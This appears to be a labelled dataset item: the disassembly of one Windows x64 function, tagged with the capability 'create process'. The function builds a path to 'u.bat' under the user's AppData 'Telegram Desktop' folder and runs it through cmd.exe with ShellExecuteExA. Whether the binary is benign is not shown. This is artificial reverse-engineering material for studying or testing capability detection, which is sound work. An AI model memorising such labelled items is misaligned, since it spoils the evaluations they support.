Function at 0x1400c9750
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x90]
sub rsp, 0x190
mov rax, qword [0x1401eb9a0]
xor rax, rsp
mov qword [rbp + 0x88], rax
lea rcx, str.APPDATA
call fcn.140169888
xor r12d, r12d
mov qword [rbp + 0x20], r12
mov qword [rbp + 0x30], r12
mov ebx, reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x38], rbx
mov byte [rbp + 0x20], r12b
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], r12b
jne 0x1400c97b3
mov rdx, rax
lea rcx, [rbp + 0x20]
call fcn.140002450
nop
movabs r13, 0x7fffffffffffffff
mov rax, r13
mov rcx, qword [rbp + 0x30]
sub rax, rcx
cmp rax, 0x11
jb 0x1400c9c4b
lea r9, [rbp + 0x20]
cmp qword [rbp + 0x38], 0x10
cmovae r9, qword [rbp + 0x20]
mov qword [rsp + 0x30], reloc.WS2_32.dll_recvfrom
lea rax, str.Telegram_Desktop
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [rbp + 0x20]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x48]
call fcn.140021700
nop
mov rax, r13
mov rcx, qword [rbp + 0x58]
sub rax, rcx
cmp rax, 1
jb 0x1400c9c51
lea rax, [rbp + 0x48]
cmp qword [rbp + 0x60], 0x10
cmovae rax, qword [rbp + 0x48]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 1
lea r9, [0x1401bad1c]
lea r8, [rbp + 0x48]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp - 0x78]
call fcn.140021700
nop
mov r8d, 6
lea rdx, str.u.bat
lea rcx, [rbp - 0x78]
call fcn.14001c180
mov qword [rsp + 0x68], r12
mov qword [rsp + 0x78], r12
mov qword [rbp - 0x80], r12
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x68], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x78], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], rbx
mov byte [rax], 0
mov r8d, 1
lea rdx, [0x1401bad1c]
lea rcx, [rsp + 0x68]
call fcn.14001c180
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x68], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x78], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], rbx
mov byte [rax], 0
mov rdx, qword [rbp - 0x80]
cmp rdx, 0x10
jb 0x1400c991e
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400c9919
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400c9c57
call fcn.14014fd6c
mov qword [rsp + 0x78], r12
mov qword [rbp - 0x80], rbx
mov byte [rsp + 0x68], 0
mov rdx, qword [rbp - 0x60]
cmp rdx, 0x10
jb 0x1400c9967
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400c9962
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400c9c5d
call fcn.14014fd6c
mov qword [rbp - 0x68], r12
mov qword [rbp - 0x60], rbx
mov byte [rbp - 0x78], 0
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x58], r12
mov qword [rsp + 0x60], r12
lea rsi, [rbp + 0x68]
mov rdi, qword [rbp + 0x68]
mov r15, qword [rbp + 0x80]
cmp r15, 0x10
cmovae rsi, rdi
mov r14, qword [rbp + 0x78]
cmp r14, 0x10
jae 0x1400c99ad
movups xmm0, xmmword [rsi]
movups xmmword [rsp + 0x48], xmm0
jmp 0x1400c9a1a
mov rbx, r14
or rbx, 0xf
cmp rbx, r13
cmova rbx, r13
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1400c99f7
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400c9c63
mov rcx, rax
call fcn.14014fd30
mov rcx, rax
test rax, rax
je 0x1400c9c69
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1400c9a06
test rcx, rcx
je 0x1400c9a03
call fcn.14014fd30
jmp 0x1400c9a06
mov rax, r12
mov qword [rsp + 0x48], rax
lea r8, [r14 + 1]
mov rdx, rsi
mov rcx, rax
call fcn.140151fe0
mov qword [rsp + 0x58], r14
mov qword [rsp + 0x60], rbx
lea rax, [rsp + 0x48]
mov qword [rbp - 0x58], rax
mov r9d, 3
lea r8, [0x1401bae14]
xor edx, edx
lea rcx, [rsp + 0x48]
call fcn.140002320
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm0
movups xmmword [rbp - 0x30], xmm0
movups xmmword [rbp - 0x20], xmm0
movups xmmword [rbp - 0x10], xmm0
movups xmmword [rbp], xmm0
movups xmmword [rbp + 0x10], xmm0
mov dword [rbp - 0x50], reloc.WS2_32.dll_WSASetLastError
mov dword [rbp - 0x4c], 0x40
mov qword [rbp - 0x48], r12
mov qword [rbp - 0x40], r12
lea rax, str.cmd.exe
mov qword [rbp - 0x38], rax
lea rax, [rsp + 0x48]
cmp qword [rsp + 0x60], 0x10
cmovae rax, qword [rsp + 0x48]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], r12
mov dword [rbp - 0x20], r12d
mov qword [rbp - 0x18], r12
lea rcx, [rbp - 0x50]
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x1400c9bd6
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb 0x1400c9af7
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400c9af1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400c9c45
call fcn.14014fd6c
nop
cmp r15, 0x10
jb 0x1400c9b2f
lea rdx, [r15 + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x1400c9b26
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400c9c6f
mov rcx, rdi
call fcn.14014fd6c
nop
mov rdx, qword [rbp + 0x60]
cmp rdx, 0x10
jb 0x1400c9b6b
inc rdx
mov rcx, qword [rbp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400c9b65
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400c9c75
call fcn.14014fd6c
nop
mov rdx, qword [rbp + 0x38]
cmp rdx, 0x10
jb 0x1400c9ba6
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400c9ba1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400c9c3f
call fcn.14014fd6c
mov rcx, qword [rbp + 0x88]
xor rcx, rsp
call fcn.14014fd10
lea r11, [rsp + 0x190]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x18]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea rdx, [rbp + 0x40]
mov rcx, qword [rbp + 0x18]
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov rcx, qword [rbp + 0x18]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb 0x1400c9af7
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400c9af1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400c9c45
jmp 0x1400c9af1
call fcn.14015ee94
nop
call fcn.14015ee94
nop
call fcn.140001fd0
nop
call fcn.140001fd0
nop
call fcn.14015ee94
nop
call fcn.14015ee94
int3
call fcn.140001f00
int3
call fcn.14015ee94
nop
call fcn.14015ee94
nop
call fcn.14015ee94
int3